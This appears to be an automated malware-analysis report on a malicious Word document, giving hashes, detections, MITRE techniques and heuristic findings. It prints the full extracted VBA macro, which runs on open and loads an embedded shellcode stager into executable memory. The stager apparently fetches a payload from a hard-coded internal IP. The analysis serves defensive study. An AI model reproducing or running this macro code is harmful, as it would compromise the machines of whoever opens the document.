Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cefde517c9d484ab…

MALICIOUS

Office (OLE)

36.5 KB Created: 2017-07-28 17:41:00 Authoring application: Microsoft Office Word First seen: 2017-08-08
MD5: 5ed26634a7c92bda139727927c7eeffc SHA-1: 840c0a413bb6cbabce137685eeaac5882a311a23 SHA-256: cefde517c9d484abd00deef454c6ee5ac9c858d098185ce88b377f1c78dce2e4
246 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic

The sample is a Microsoft Word document that contains VBA macros. Heuristics indicate the exploitation of CVE-2007-3899, a memory corruption vulnerability, and the use of VirtualAlloc API, suggesting the execution of shellcode. The Auto_Open macro uses PtrSafe functions and calls VirtualAlloc, likely to allocate memory for and execute a downloaded payload. The ClamAV detection 'Doc.Dropper.Valyria-6680543-0' further supports its malicious nature as a dropper.

Heuristics 10

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
        Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
        Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
        Dim Zjnbdgkmv As Long, Qtsqdp As Variant, Ucxidsr As Long
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4546 bytes
SHA-256: b1ca60b6db133fc1687ed8c38bf493c14211580b3d921c3c89944964aad49a14
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
#If VBA7 Then
        Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Yvzc As Long, ByVal Lkn As Long, ByVal Hkcouiw As LongPtr, Cwhj As Long, ByVal Kalznsr As Long, Mqg As Long) As LongPtr
        Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Vmlwv As Long, ByVal Ervqu As Long, ByVal Vgumh As Long, ByVal Nvbghqo As Long) As LongPtr
        Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Tzvwqf As LongPtr, ByRef Gozv As Any, ByVal Laepsvr As Long) As LongPtr
#Else
        Private Declare Function CreateThread Lib "kernel32" (ByVal Yvzc As Long, ByVal Lkn As Long, ByVal Hkcouiw As Long, Cwhj As Long, ByVal Kalznsr As Long, Mqg As Long) As Long
        Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Vmlwv As Long, ByVal Ervqu As Long, ByVal Vgumh As Long, ByVal Nvbghqo As Long) As Long
        Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Tzvwqf As Long, ByRef Gozv As Any, ByVal Laepsvr As Long) As Long
#End If

Sub Auto_Open()
        Dim Zjnbdgkmv As Long, Qtsqdp As Variant, Ucxidsr As Long
#If VBA7 Then
        Dim Gicd As LongPtr, Zbl As LongPtr
#Else
        Dim Gicd As Long, Zbl As Long
#End If
        Qtsqdp = Array(232, 130, 0, 0, 0, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82, 12, 139, 82, 20, 139, 114, 40, 15, 183, 74, 38, 49, 255, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 226, 242, 82, 87, 139, 82, 16, 139, 74, 60, 139, 76, 17, 120, 227, 72, 1, 209, 81, 139, 89, 32, 1, 211, 139, 73, 24, 227, 58, 73, 139, 52, 139, 1, 214, 49, 255, 172, 193, _
207, 13, 1, 199, 56, 224, 117, 246, 3, 125, 248, 59, 125, 36, 117, 228, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 95, 95, 90, 139, 18, 235, 141, 93, 104, 110, 101, 116, 0, 104, 119, 105, 110, 105, 84, 104, 76, 119, 38, 7, 255, 213, 49, 219, 83, 83, 83, 83, _
83, 104, 58, 86, 121, 167, 255, 213, 83, 83, 106, 3, 83, 83, 104, 145, 31, 0, 0, 232, 117, 1, 0, 0, 47, 98, 104, 108, 71, 77, 80, 51, 100, 100, 55, 108, 68, 116, 69, 75, 49, 71, 106, 85, 78, 88, 103, 88, 71, 101, 54, 115, 85, 90, 106, 85, 50, 75, 79, 112, 103, 104, 50, 121, 65, 81, 100, 119, 101, 118, 81, 75, 88, 67, 103, 73, 110, 54, 73, 79, _
97, 66, 73, 48, 66, 55, 77, 120, 75, 107, 118, 118, 78, 107, 119, 68, 81, 109, 114, 85, 105, 76, 101, 81, 49, 71, 97, 52, 95, 48, 86, 66, 82, 84, 105, 82, 45, 109, 109, 98, 97, 72, 83, 57, 83, 101, 95, 97, 73, 75, 82, 79, 98, 121, 122, 85, 117, 73, 74, 102, 83, 89, 67, 48, 78, 82, 95, 78, 122, 120, 68, 114, 89, 71, 72, 111, 98, 82, 48, 87, _
84, 105, 69, 71, 68, 98, 106, 88, 116, 77, 100, 99, 98, 103, 95, 68, 117, 72, 66, 49, 52, 80, 110, 117, 77, 74, 116, 117, 112, 73, 107, 108, 104, 57, 67, 119, 110, 67, 73, 74, 77, 86, 73, 79, 83, 113, 48, 89, 85, 111, 88, 110, 56, 79, 85, 68, 73, 69, 82, 95, 95, 88, 99, 107, 86, 45, 70, 118, 85, 109, 95, 111, 103, 103, 80, 102, 114, 82, 103, 109, _
106, 72, 82, 68, 121, 112, 67, 70, 48, 65, 98, 88, 45, 0, 80, 104, 87, 137, 159, 198, 255, 213, 137, 198, 83, 104, 0, 50, 224, 132, 83, 83, 83, 87, 83, 86, 104, 235, 85, 46, 59, 255, 213, 150, 106, 10, 95, 104, 128, 51, 0, 0, 137, 224, 106, 4, 80, 106, 31, 86, 104, 117, 70, 158, 134, 255, 213, 83, 83, 83, 83, 86, 104, 45, 6, 24, 123, 255, 213, 133, _
192, 117, 20, 104, 136, 19, 0, 0, 104, 68, 240, 53, 224, 255, 213, 79, 117, 205, 232, 74, 0, 0, 0, 106, 64, 104, 0, 16, 0, 0, 104, 0, 0, 64, 0, 83, 104, 88, 164, 83, 229, 255, 213, 147, 83, 83, 137, 231, 87, 104, 0, 32, 0, 0, 83, 86, 104, 18, 150, 137, 226, 255, 213, 133, 192, 116, 207, 139, 7, 1, 195, 133, 192, 117, 229, 88, 195, 95, 232, 107, _
255, 255, 255, 49, 57, 50, 46, 49, 54, 56, 46, 48, 46, 50, 52, 49, 0, 187, 240, 181, 162, 86, 106, 0, 83, 255, 213)

        Gicd = VirtualAlloc(0, UBound(Qtsqdp), &H1000, &H40)
        For Ucxidsr = LBound(Qtsqdp) To UBound(Qtsqdp)
                Zjnbdgkmv = Qtsqdp(Ucxidsr)
                Zbl = RtlMoveMemory(Gicd + Ucxidsr, Zjnbdgkmv, 1)
        Next Ucxidsr
        Zbl = CreateThread(0, 0, Gicd, 0, 0, 0)
End Sub
Sub AutoOpen()
        Auto_Open
End Sub
Sub Workbook_Open()
        Auto_Open
End Sub

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